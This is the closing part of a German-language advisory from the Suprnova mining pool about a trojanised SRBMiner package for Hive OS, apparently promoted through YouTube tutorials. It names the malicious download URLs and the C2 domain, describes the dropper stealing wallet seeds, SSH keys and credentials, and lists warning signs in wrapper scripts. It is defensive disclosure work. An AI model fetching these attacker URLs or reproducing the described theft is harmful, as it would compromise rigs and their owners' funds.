Für SRBMiner konkret: github.com/doktor83/SRBMiner-Multi/releases. Für jeden anderen Miner: offizielle Projektseite auf GitHub suchen — in der Regel verlinkt von der Getting-Started-Seite des Pools. Alles andere ist Glaubensfrage.
Offizielle Miner-Releases veröffentlichen Prüfsummen. sha256sum auf den Download, Vergleich mit dem veröffentlichten Wert. Das dauert acht Sekunden. Ein Rig neu aufzusetzen dauert deutlich länger.
Sofern nicht aus einer bekannten, vertrauenswürdigen Community-Quelle. Stats-Integrations-Wrapper sind eine Lieblings-Injection-Stelle, gerade weil die meisten Operatoren sie nie lesen. Das ist exakt der Grund, warum wir hier sind.
30 Sekunden less h-stats.sh, bevor ein Flight-Sheet auf einen neuen Custom-Miner zeigt. Lange kodierte Strings, Netzwerkaufrufe zu unbekannten Domains, Schreibzugriffe auf /etc/ oder /usr/local/ — jedes Einzelne davon ist Anlass, kurz innezuhalten.
Rigs müssen keine beliebigen Domains erreichen. Pool-IPs auf Allowlist, alles andere blockieren. Ein ordentlich gefiltertes Rig lässt sich auch mit laufendem bösartigem Skript nicht stagen, weil es keine Quelle für Stage-2 findet.
Ein Rig, das HTTPS-Anfragen an irgendetwas außerhalb Ihres Pools richtet, ist grundsätzlich verdächtig. Das ist keine Paranoia — das ist die billigste Detektion, die Sie haben.
Unter Hive OS läuft der Hive-Agent als Root, und das user-Konto hat passwortloses sudo. Jedes Skript, das der Agent aufruft, hat damit effektiv Root-Rechte. Bewusst damit umgehen. Falls Ihr Framework unprivilegierte Mining-Nutzer erlaubt, verwenden Sie sie.
Ein Wort von Suprnova
Pool-Betreiber und deren Miner sind für diese Art Angriff eine besonders lohnende Zielgruppe. Ein trojanisierter Miner auf einem Rig ist kein Cryptojacking — er ist schlimmer. Sobald der Dropper Root hat, kann er die Platte nach Wallet-Seed-Dateien und gesicherten Keystores durchsuchen, Pool-Credentials und SSH-Keys aus Config-Dateien herausziehen, Browser-Sessions abgreifen, das Rig in ein Botnetz oder einen Residential-Proxy-Pool einreihen und in die weitere Infrastruktur pivotieren. Die Mining-förmige Hülle ist nur der Deckel auf der Kiste; das eigentliche Interesse des Angreifers ist alles darin. Unsere Nutzer sind im Schnitt technischer, wertvoller und gezielter ins Visier genommen als die allgemeine Population der „Menschen, die Dinge herunterladen“ — und diese Aufmerksamkeit ist, unter dem Strich, kein Kompliment.
Wenn Ihnen ein verdächtiger Miner-Download, ein ungewöhnliches Archiv oder eine Discord-/Telegram-DM mit einem „custom“ oder „patched“ Miner auffällt, leiten Sie es bitte an admin@suprnova.cc weiter oder posten Sie es in unserem Discord. Wir sehen es uns an, aktualisieren dieses Advisory bei Bedarf und warnen die Community. Gürtel, Hosenträger und ein gesundes Maß an gemeinschaftlicher Paranoia — die drei Säulen eines glücklichen Mining-Rigs.
Fazit
Das Archiv unter https://miningrepositories.blog/srbminer-3.2.5.tar.gz und die identische Kopie unter https://gitlab.com/hiveos-custom/m/-/raw/main/srbminer-3.2.5.tar.gz sind trojanisiert. Die Miner-Binary ist Tarnung; der eigentliche Payload steckt in h-stats.sh und kontaktiert novahash.de etwa alle zehn Sekunden — als Root, solange das Rig läuft.
Der YouTube-Kanal @Argenminer ist die Werbe-Schicht. Seine Videos führen Zuschauer Schritt für Schritt durch das Hive-OS-Flightsheet-Setup und verlinken — über eine anotepad.com-Notiz — auf die trojanisierte install_url. Wer ab dem 16. April 2026 ein Argenminer-Tutorial für C64Chain, Qubit (QTC), Vertcoin (VTC) oder LuckyPepe (LPEPE) nachgebaut hat, muss das Rig als kompromittiert behandeln.
Wer dieses Paket auf irgendeinem Rechner installiert hat, muss ihn neu aufsetzen. Nicht „untersuchen“. Nicht „bereinigen“. Neu aufsetzen. Alle Zugangsdaten, die das Gerät je berührt haben, rotieren. Alle Geräte prüfen, die Zugangsdaten mit ihm geteilt haben. Eine mittlere Option, die ebenfalls korrekt wäre, gibt es nicht.
novahash.de, miningrepositories.blog und die Raw-Content-Pfade unter gitlab.com/hiveos-custom/m blockieren. An DNS und an der Egress-Firewall. Überall, nicht nur auf dem betroffenen Rig. Die anotepad.com-Notiz unter anotepad.com/notes/a7ycensj als bekannte, vom Angreifer kontrollierte Seite behandeln, auch wenn sich ihr Inhalt ändert.
Miner nur aus verifizierten Upstream-Quellen laden und jedes Mal den SHA256 prüfen. Die offiziellen SRBMiner-Releases liegen auf github.com/doktor83/SRBMiner-Multi/releases. Alles andere, das vorgibt, SRBMiner zu sein — ein Mining-Tools-Blog, ein beliebiger GitLab-Account, ein Pastebin-Link aus einem YouTube-Tutorial — ist bestenfalls nicht vertrauenswürdig.
Verwandte Artikel
Mining-Pool-Sicherheit
Wie Mining-Pools sich und ihre Miner gegen DDoS, Exploits und andere Bedrohungen schützen.
Mining-Hardware-Leitfaden
Praktischer Leitfaden zu Auswahl und Pflege von Mining-Hardware — inklusive der langweiligen Software-Seite.
Ein Tag im Leben eines Pool-Betreibers
Wenn kompromittierte Hosts auf den Pool zeigen, verlieren alle — auch der Dienstagmorgen des Betreibers.